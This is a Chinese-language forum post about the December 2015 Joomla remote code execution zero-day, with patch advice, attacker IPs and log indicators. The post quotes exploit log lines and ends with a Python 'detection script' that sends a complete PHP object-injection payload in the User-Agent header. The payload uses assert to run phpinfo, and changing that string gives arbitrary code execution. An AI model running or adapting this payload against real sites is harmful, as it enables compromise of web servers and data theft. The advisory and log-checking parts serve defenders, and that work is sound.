搜索
查看: 6354|回复: 0

Joomla的远程代码执行漏洞0day(附检测脚本)

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2015-12-15 12:50:35 | 显示全部楼层 |阅读模式

t0195a5c45c4f82fa0b.jpg

Joomla安全团队刚刚发布了一个新版本的Joomla远程代码执行的补丁,这个关键漏洞影响Joomla1.5到3.4的所有版本。

这是一个严重的漏洞,可以很容易地被利用。如果您正在使用Joomla,你现在必须更新它。

update——2015/12/14 17:15PM EST如果您使用的是旧版本1.5.x(不支持)和2.5.x,你必须更新热补丁。本文将从OSTraining解释如何应用它们。


Zero day Exploits in the Wild


最让人担心的是在过去的2天里,该漏洞已经被利用。

回顾我们的logs,我们发现第一个利用针对此漏洞在12月12日,在4:49PM:

  1. 2015 Dec 12 16:49:07 clienyhidden.access.log
  2. Src IP: 74.3.170.33 / CAN / Alberta
  3. 74.3.170.33 – – [12/Dec/2015:16:49:40 -0500] “GET /contact/ HTTP/1.1″ 403 5322 “http://google.com/” “}__test|O:21:\x22JDatabaseDriverMysqli\x22:3: ..
  4. {s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0: .. {}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:..
  5. {s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:60:..
复制代码

我们虽然修改了负载所以导致该漏洞不能被滥用,但攻击者通过HTTP用户代理做一个对象注入依旧可以导致一个完整的远程命令执行。

我们发现更多的攻击来自相同的IP地址“74.3.170.33”在12月12日,紧随其后的是数百人利用尝试来自146.0.72.83 和194.28.174.106等IP在12月13日这一天。

今天(12月14日),这一波袭击更大,基本上每个站点和蜜罐都被攻击。这可能意味着每一个攻击Joomla网站是有针对性的。


Protect Your Site Now


如果你是一个Joomla用户,检查你的日志。寻找来自146.0.72.83请求或74.3.170.33 或者194.28.174.106。我也建议你搜索日志“JDatabaseDriverMysqli”或“O:”用户代理,因为它已经被用于攻击。如果你发现这些,是时候考虑你的Joomla网站应该进入修复/事件反应阶段了。


如果你使用Joomla,尽快更新!


对于那些在3.x版本的joomla,请立即更新到3.4.6。会有为Joomla !1.5.x和2.5 x提供非官方的修复补丁,大家应该意识到任何使用这些版本该尽快更新。


检测脚本:

  1. #!/usr/bin/python
  2. # coding=utf-8
  3. # author:KuuKi
  4. import urllib2
  5. import cookielib,sys

  6. cj = cookielib.CookieJar()
  7. opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
  8. urllib2.install_opener(opener)
  9. urllib2.socket.setdefaulttimeout(10)

  10. ua = '}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\x5C0\x5C0\x5C0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\x5C0\x5C0\x5C0connection";b:1;}\xF0\x9D\x8C\x86'

  11. req  = urllib2.Request(url=sys.argv[1],headers={'User-Agent':ua})
  12. opener.open(req)
  13. req  = urllib2.Request(url=sys.argv[1])
  14. if 'SERVER["REMOTE_ADDR"]' in opener.open(req).read():
  15.     print "vulnerable!"
复制代码



过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表